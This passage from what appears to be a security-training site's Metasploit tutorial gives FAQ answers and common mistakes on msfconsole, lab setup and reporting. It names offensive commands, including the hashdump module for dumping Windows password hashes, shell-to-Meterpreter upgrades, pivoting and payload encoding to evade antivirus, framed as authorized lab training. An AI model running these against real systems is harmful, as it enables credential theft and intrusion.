run post/windows/gather/hashdump dumps Windows SAM password hashes — requires SYSTEM or admin. In labs it demonstrates credential-access post-exploitation; the hashes are evidence for the report.

What is pivoting in Metasploit?

Pivoting routes traffic through an existing session to reach networks the attacker couldn’t otherwise access — via route add or Meterpreter portfwd. Lab-only: stay inside scope.

What is msfdb?

msfdb is the helper that manages Metasploit’s PostgreSQL database: msfdb init, msfdb run, msfdb status, msfdb stop, msfdb reinit.

How do I scan with Nmap inside Metasploit?

Use db_nmap <args> — it runs Nmap and automatically stores hosts/services in the database, queryable via hosts and services.

How do I upgrade a shell to Meterpreter?

From msfconsole: sessions -u <id> (auto-upgrade) or run post/multi/manage/shell_to_meterpreter with the session ID.

Why does my exploit say “completed, but no session was created”?

Four usual causes: wrong options, handler mismatch, firewall/AV interference, or the exploit actually failed silently. Check options → handler → target → network, in that order.

What does setg do?

setg sets a global option that persists across module changes — ideal for LHOST, which every payload/handler needs.

How do I find modules for a specific CVE?

search cve:2021-44228 or search cve:2021 for all 2021 CVEs. Combine with type: and rank: filters.

What are encoders used for?

Encoders transform payload bytes to avoid bad characters (e.g., \x00) or to evade signature detection in AV-evasion labs. Encoding is not a guarantee of evasion — modern AV/EDR inspects behavior.

Is Meterpreter detectable?

Yes. Modern EDR/AV products detect Meterpreter’s network signatures and behavior, and the default ports are well-known. Detection is expected in realistic exercises.

What is a bind shell vs a reverse shell?

A bind shell listens on the target (you connect to it); a reverse shell connects back to you. Reverse shells are preferred because outbound connections usually pass firewalls more easily.

How do I save console output?

spool /path/file.log writes all console output to a file until you run spool off. Do this at the start of every engagement.

How do I import external scan results?

db_import file.xml imports Nmap XML, Nessus, OpenVAS, and other formats into the database for correlation.

What is the loot command?

loot lists files collected during post-exploitation — hash dumps, screenshots, downloaded documents — stored by post modules for evidence and reporting.

What are notes used for?

notes -a "text" stores free-form observations in the database, and notes displays them — the simplest structured documentation tool in Metasploit.

Does Metasploit work against cloud targets?

Yes, but cloud security groups and WAFs filter most scans, and scanning cloud providers’ shared infrastructure requires their authorization policies. Always validate scope first.

What is the best lab setup for learning Metasploit?

Kali (attacker) + intentionally vulnerable VMs (Metasploitable 2/3, DVWA, Windows VMs with known-bad patches) on an isolated NAT network. Snapshot before every exercise.

What is Metasploitable?

Metasploitable is a deliberately vulnerable Ubuntu VM maintained by Rapid7 for safe Metasploit practice. Version 2 is a legacy 32-bit target; version 3 has a hardened network stack that changes scan behavior — useful for realism.

Can Metasploit be used for blue team training?

Yes — SOC teams run known exploits in controlled labs to validate detection coverage and tune alerting. “Can we detect this?” is a legitimate Metasploit use case.

What is the difference between an exploit and a payload?

The exploit is the code that triggers the vulnerability; the payload is the code that runs afterward. One exploit can often pair with many payloads — hence show payloads.

How do I update Metasploit modules?

Kali: sudo apt update && sudo apt install --only-upgrade metasploit-framework. Rapid7 repo users: same apt path. Updates deliver new modules and fixes.

What is the msf6 prompt prefix?

The prompt shows the active module context: msf6 > (no module), msf6 auxiliary(...)>, msf6 exploit(...)>, or meterpreter > inside a session.

How do I exit Meterpreter back to msfconsole?

Type background or press Ctrl+Z to background the session. Type exit to terminate the session entirely.

What does the check command do?

check runs a module’s safe detection logic to test whether the target appears vulnerable — without exploitation. Results: vulnerable, safe, or unknown. Not all modules support it.

What is a session vs a job?

A session is an established connection to a target (shell or Meterpreter). A job is a backgrounded module — often a handler or an exploit running with -j.

Is Metasploit good for CTFs?

It is a standard tool in many CTFs, but CTF machines are intentionally vulnerable and often require manual exploitation. Use Metasploit alongside manual techniques — never as the only hammer.

Common Mistakes (and How to Fix Them)

Running modules without reading optionsMissing RHOSTS or wrong LHOST is the #1 cause of “no session”.
✓ Fix: show optionsshow advancedsetget to verify before running.
Skipping checkFiring an exploit at a target that isn’t vulnerable wastes time and creates noise.
✓ Fix: run check where supported; verify the service version manually otherwise.
Handler/payload mismatchGenerating with one PAYLOAD/LHOST and listening with another.
✓ Fix: set setg LHOST, and copy the exact payload string from msfvenom into the handler.
Using one workspace for everythingMixing clients/labs corrupts reporting and leaks data between projects.
✓ Fix: workspace -a <engagement> at the start of every project.
Forgetting spool / evidenceAn undocumented session is worthless in a report.
✓ Fix: spool at start; save screenshots and dumps; export with db_export.
Jumping to exploits before learning networkingStudents who can’t explain why a connection fails can’t fix it.
✓ Fix: learn Nmap, TCP/UDP, and firewalls first; then auxiliary scanners; then exploits.
Ignoring cleanupLeftover sessions, handlers, and uploaded files are an exposure.
✓ Fix: sessions -K, jobs -K, delete artifacts, revert lab VMs.
Reporting raw output without remediationClients pay for decisions, not log dumps.
✓ Fix: every finding gets impact, CVSS, evidence, remediation, and retest status.

References & Authoritative Sources

Metasploit Official Website (Rapid7)
Downloads, editions, and the official Metasploit documentation hub.
Metasploit Documentation (Rapid7)
Official guides for MSFconsole, Meterpreter, MSFvenom, and database integration.
Metasploit Framework on GitHub
Source code, module submissions, and security disclosures for the framework itself.
Kali Linux — Metasploit Framework Package
Kali packaging and usage notes for the pre-installed framework.
OffSec (Offensive Security)
OSCP and related certifications that train Metasploit within broader manual-testing curricula.
MITRE ATT&CK — Discovery (TA0007) & Exploitation Tactic Coverage
Maps Metasploit activity to attacker technique IDs for reporting.
CISA Known Exploited Vulnerabilities (KEV) Catalog
Triage source for prioritizing which confirmed vulnerabilities to remediate first.
NIST National Vulnerability Database (NVD)
CVE and CVSS data for correlating module references with severity scores.
Verizon 2025 Data Breach Investigations Report (DBIR)
Vulnerability exploitation reached 20% of initial access vectors (+34% YoY); credential abuse 22%; ransomware in 44% of breaches.
IBM Cost of a Data Breach Report 2025
Global average breach cost $4.44M; ~$1.9M average savings for organizations using extensive AI & automation ($3.62M vs $5.52M).
Rapid7 Metasploit Docs — msfdb, Workspaces, and Reporting
Official reference for database setup, workspace management, and export workflows.
Metasploit Unleashed (OffSec)
Long-standing free courseware covering MSFconsole, Meterpreter, and MSFvenom in depth.
HackTricks — Metasploit Cheatsheets
Community-maintained reference for payloads, pivoting, and post-exploitation patterns.

© A7 Security Hunters. Educational content — always test only systems you own or are explicitly authorized to assess. Last updated: August 2026.

Leave a Reply

Your email address will not be published. Required fields are marked *

About Us

A7 Security Hunters is a leading provider of cybersecurity certifications and training, offering both online and offline courses tailored to professionals at all levels. Our comprehensive programs cover key areas like ethical hacking, network security, and threat management, designed to equip individuals with the skills to succeed in the fast-paced world of cybersecurity. With expert instructors and hands-on learning, A7 Security Hunters ensures you gain practical knowledge and industry-recognized certifications to advance your career in cybersecurity.

Cybersecurity Training & Certifications

Most Recent Posts

A7 Security Hunters

Enroll in A7 Security Hunters' Certifications and Transform into a Cybersecurity Expert

A7 Security Hunters provides cybersecurity training, ethical hacking courses, penetration testing education, digital forensics training, AI security learning, and professional cybersecurity certifications for students and professionals across India.

Address: Mata Darwaja, Gau Karan Rd, Near SD School, landmark Gau Karn Traffic Police Choki, Plot 736a Baba Laxman Puri Colony, Makhane or, Library Wali Gali, Rohtak124001, Haryana (India) | Official Email Address- [email protected] | [email protected] | Official Phone Numbers – +91 – 7988-28-5508 | +91 – 818181-6323

© 2026 A7 Security Hunters. Cybersecurity Training, Ethical Hacking Courses & Professional Certifications.